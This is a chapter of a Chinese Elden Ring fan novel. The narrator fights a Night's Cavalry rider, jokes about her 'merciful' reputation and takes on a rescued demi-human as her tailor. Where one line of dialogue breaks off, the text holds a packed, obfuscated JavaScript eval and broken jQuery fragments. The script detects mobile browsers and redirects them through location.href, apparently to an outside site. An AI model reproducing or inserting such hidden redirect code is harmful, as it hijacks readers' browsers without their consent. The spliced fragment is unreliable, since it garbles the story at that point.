12. 亚基尔湖北方

作品:《是谷雨不是癫火

    宁姆格福是一块很适合初来的褪色者成长的土地。


    游戏机制设定,早期地图相对友好,敌对势力普遍不强,玩家可以放心地探索开放世界。


    仗着我知道你你不知道我的信息压制,二周目的我就和回到了快乐老家,在梅琳娜看来,我就是随便逛逛,一逛一个赐福点,对赐福的定位到离谱。


    “你应当没有点感应?”她在某一次升级时还是忍不住问出了口。“褪色者与赐福也有感应的高低么。”


    我仗着她不是褪色者瞎编:“对啊我们褪色者都是这样的啦。”


    篝火旁摆弄乐器的伽列嘎吱一声拉出了噪音。


    我和梅琳娜双双回头。


    伽列很淡定:“看什么,我记得我说过不常用乐器。”


    所以拉出和我一样的杂音也是很正常的是吗?


    升级完毕,我熟练地从赐福点蹭到篝火旁:“你不是说不常用吗?”


    “我又想用了,”他继续摆弄可怜的乐器,“偶尔回忆一下过去,展望一下未来。”


    ……这和演奏有什么关系?


    我迷茫地歪了下头,看到他似乎在等我反应一样的注视着我,试探性的:“那……加油?”


    伽列又一声不吭地沉迷自己的世界去了。


    我看向梅琳娜:?


    梅琳娜回视:。


    今日份的眼神交流也失败了。


    我挫败回头,决定不再管别人的爱好。


    往好处想,如果他真的捡起来这门技能,受益的还是我。


    我还挺喜欢这个音乐的来着。


    观星者作为一个尊贵的远程,蓝少肾虚,高攻低防,只要主意扬长避短,就很好用。想我无用之人开局的一周目,随便路上撞到一个兵就是一场恶战,哪像现在,一路辉石魔砾biubiubiu,轻轻松松就把卢恩拿了。


    副作用就是魔法打人太快又不疼,一些不长记性的家伙在我手下留情后试图反击,被我摇着头用辉石魔法再一次放倒。


    等的就是你再来,一次不长记性不碍事,多打几次就知道痛了。


    我举着法杖biu了个痛快,并再次留了一口气,热情欢迎他下次再来。


    梅琳娜委婉的提醒:“过于仁慈或许会让你感到疲惫。”


    “不啊,”我捧着多起来的卢恩快乐道:“每次他们都有上供卢恩耶,我不亏还赚了。”


    永动机,是永动机!


    梅琳娜噎住。


    我笑得见牙不见眼:“而且我可是要当王的,整个交界地都是我的东西,人力自然也是,当然要从现在开始好好维护和珍惜啦。”


    不然以后谁来给我这个只会打架的王干活啊。


    未曾想到的角度,梅琳娜被我说服了。


    毕竟她就是这么一个会用“没有生命的王不配称王”的理由劝说阻止玩家投身癫火的人嘛。


    可惜的是,智慧生物都是会长记性的,特别是他们发现只要不主动攻击,我也不会弹反举棍爆锤打残抢劫一条龙后。


    在我把这一片的地都快要犁平,周围会喘气的都多少被我锤过几次后,某一天我骑着灵马逛街,再也不会有不长眼的刀子斧子暗箭戳过来。


    我……我果断换成了夜晚出行。


    是的,交界地的某些部分生物,只有夜晚才出现。


    比如黑夜骑兵。


    亚基尔湖北方的大桥上,徘徊的黑夜骑兵迎来了找他练习骑马战的我。


    我从一开始因为不熟悉被他追着砍,到能和他激.情.对冲,再到上头试图用法杖和□□互拼,最后到力量不够被掀翻下马,也就是几个来回的功夫。


    掀了个跟头熟练爬起来,我看了一眼不耐摔而开裂的长袍,有些头痛。


    完蛋,两周目了,我依旧是补衣服苦手,以前都是挑耐造的穿,坏了换掉,如果遇到对负重有要求的情况干脆就无用之人套走天下,也不用在意战损。


    只是现在这身穿久了,要换掉还挺不习惯,观星长袍宽大轻便还有兜帽,穿起来可舒服了。


    我痛苦面具地把没有多少寿命的衣袍一扎,迎着刀风熟练而本能的翻滚。


    这一翻,就翻出了一只小猴子。


    ……对不起,是一个长的瘦瘦小小的亚人。


    被不知道那个缺德鬼变成一棵树,在被我拉长的战线中央,好几次险些就被黑夜骑兵连头砍的亚人。


    那家伙似乎被吓破了胆,哪怕变身的魔法被外力破除,也愣在原地一动不动。


    我拧眉,利落地揪起他往外扔:“别傻站着,找地方躲!”


    “哇啊!”亚人手舞足蹈地被我扔出了战斗范围。


    看着已经近在眼前的黑夜骑兵,蓝用完,补剂耗尽,托雷特暂时也召唤不出来的我叹了口气。


    被扔出去的亚人显然也注意到了我危急的情况,正担忧地大声提醒。


    我叹了口气:“本来不想这么打的。”


    举起的魔杖被我换了个头,变成了倒提着的样式。


    ——棍棒。


    无用之人打法。


    “还好是晚上,看到的人不多。”我慢悠悠地换了个脚站立,对着黑夜骑兵用友好且商量的口吻道:“所以也希望你,对接下来发生的事保持静默,可以吗?”


    尾音未落,棍棒已经挥出,在罡风、刀光、马嘶中,命中了马腿。


    翻滚,绕后。


    靠着腰腹力量强行稳住战马的黑夜骑兵正好与我背对。


    我再次举起棍棒。


    嘭。嘭。


    打够两下撤离,正好躲过他回身横扫。


    后跳,翻滚。


    换边。


    稳而准地命中第三条马腿。


    铭刻于心的战斗模式,我知晓战斗节奏已经由我掌控。


    我不带一丝感情地勾起嘴角,直视跌落马背、惊怒交加的黑夜骑兵。


    是不是没有想到呢?本以为将我逼入绝境,却不曾晓——所谓绝境,才是我的舒适区啊!


    无人知晓,哪怕是观星者模式的战斗加起来,也没有我打一个接肢贵族的次数多。


    我本没打算启用无用之人打法,原计划是黑夜骑兵慢慢磨,练一下不擅长的远程风筝和马上作战,只是……


    我余光暼了一眼张大嘴巴傻住的亚人。


    我见过他。


    一周目,在海岸洞窟的入口。


    浑身是血的亚人倒在入口,伤势拖的太久已经回天乏术,却还是撑着提醒我……褪色者,前面危险,请小心,如执意前行,请带上火把。


    只字未提自己。


    等我再出来时,他已经断气了。


    原来被我错过的初见是在这里么。


    被我锁定的黑夜骑兵如临大敌地看着我。


    我勾了勾手指,示意他先攻。


    黑夜骑兵被挑衅了。


    他怒吼一声,身上爆发出如同斗气一般的阵势。


    我握紧了武器。


    黑夜骑兵举起斩.马.刀,肌肉紧绷,手背上青筋蹦起——


    ——然后掉头就撤。


    准备迎击的我:……???


    “等等?”我不可置信地回头,“什么情况???”


    这不正常!


    视野中唯一的活人,亚人比我更傻的回视。


    想不通的我原地抓狂。


    “……我想,”几乎不出现的梅琳娜难得地出声了,“或许他听闻过你的传闻。”


    我:“什么传闻?”


    她:“流传在宁姆格福部分地区的,只要不主动攻击就不会被猎杀的仁慈褪色者。”


    我:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398408|168658||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “……”


    你别以为你不说,我就不知道后半句是只要主动招惹就会被往死里打还会被抢劫一空再留一口气可持续发展的那种仁慈。


    我忿忿扭头,有些不理解明明一周目也是这么干的,怎么一周目就是残忍、无情、无人生还的残忍名声,到这边就“仁慈的褪色者”了。


    不就是比以前多打了几次,他们是欠揍?


    真的,我不理解。


    被救下的亚人还在眼巴巴地看着我,我咳嗽一声,囫囵跳过这个话题:“算了,不重要,你是怎么回事?”


    亚人肉眼可见地局促了起来:“我……我叫柏克。”


    “柏克,”我点头,“我是春,另外那个只有声音的是我的同伴,梅琳娜,她比较内向。”


    比较内向梅琳娜:……


    “我不被洞窟的人欢迎,被赶了出来,还被施了魔法,变成了树,谢谢你们帮我破除魔法……你们帮了我大忙,”柏克佝偻着背,双手交握身前,有些沮丧,“还有对不起,被赶出来的时候,身上的重要物品被拿走了,无法给出谢礼,只能用这个……这是我身上最好的东西了。”


    他瑟缩地递出一颗蘑菇。


    我没有接。


    在他变得不安的视线下,我沉吟了一会。


    “你说的重要物品,”我从观星者的背包里找了找,拿出了一个东西:“是这个么?”


    一包缝衣针躺在我的手心。


    柏克诧异道:“这、这是……”


    “看来是了?”我询问地看向他:“前不久我刚去过海岸洞窟,他们好像不太友好,我迫于防卫,把他们打了一顿,得到的这个。”


    ……其实不止一顿,这个也是抢来的战利品。


    我目移。


    不过这样一来,我就明白为什么一周目的时候他会出现在洞窟入口——是为了拿回自己的东西吧。


    “是、是的,”柏克更加紧张了,语速都有些磕巴,看起来是鼓起勇气说出的话:“这是我母亲留给我的东西,一般来说,您的战利品应当属于您……”


    他开始手忙脚乱地翻找身上的可用物品,想要找到东西可以替换,却想起来前面给谢礼的时候就已经找过一次,而那个东西现在还捧在他的手心。


    一朵蘑菇。


    我伸手从手足无措的亚人手中取走那一朵蘑菇,然后把自己手里的东西放上去:“巧了,我最近想吃蘑菇,正好交换。”


    “谢谢,谢谢您,”柏克捧着失而复得的缝衣针:“您、您真是仁慈的……”


    我表情一僵:“……什么都好,别说这个词。”


    暂时不想“仁慈”。


    我好像听到梅琳娜笑了一声。


    我一顿,勉为其难改口:“好吧,仁慈就仁慈。”


    不是错觉,梅琳娜又笑了一次。


    我郁闷的心情一下子好了起来。


    “行了,你自己以后小心点,我们也该回去——”


    “请稍等一下,”柏克叫住了我,深深鞠躬,“我的缝衣针回来了,也可以支付谢礼了,请允许我向您答谢。”


    我拒绝的话到嘴边,想起他短短时间展露出的性格,改口了:“你能给出什么谢礼?”


    如果拒绝的话,他会不安乃至一直愧疚下去的吧。


    果然,见我没有拒绝,柏克高兴道:“我的母亲是裁缝师,我的目标是成为母亲一样的存在,请允许我追随您,给我一份工作,成为您的裁缝师——我不要报酬,虽然暂时还做不到裁制衣服,但在原有的基础上修补没有问题,您可以将这类琐事交给我来处理。”


    本来只是随便听听的我不由得将目光落在即将报废的观星长袍上。


    时刻关注我的柏克也不由得将目光……


    我竖起拇指,斩钉截铁地:“录用!”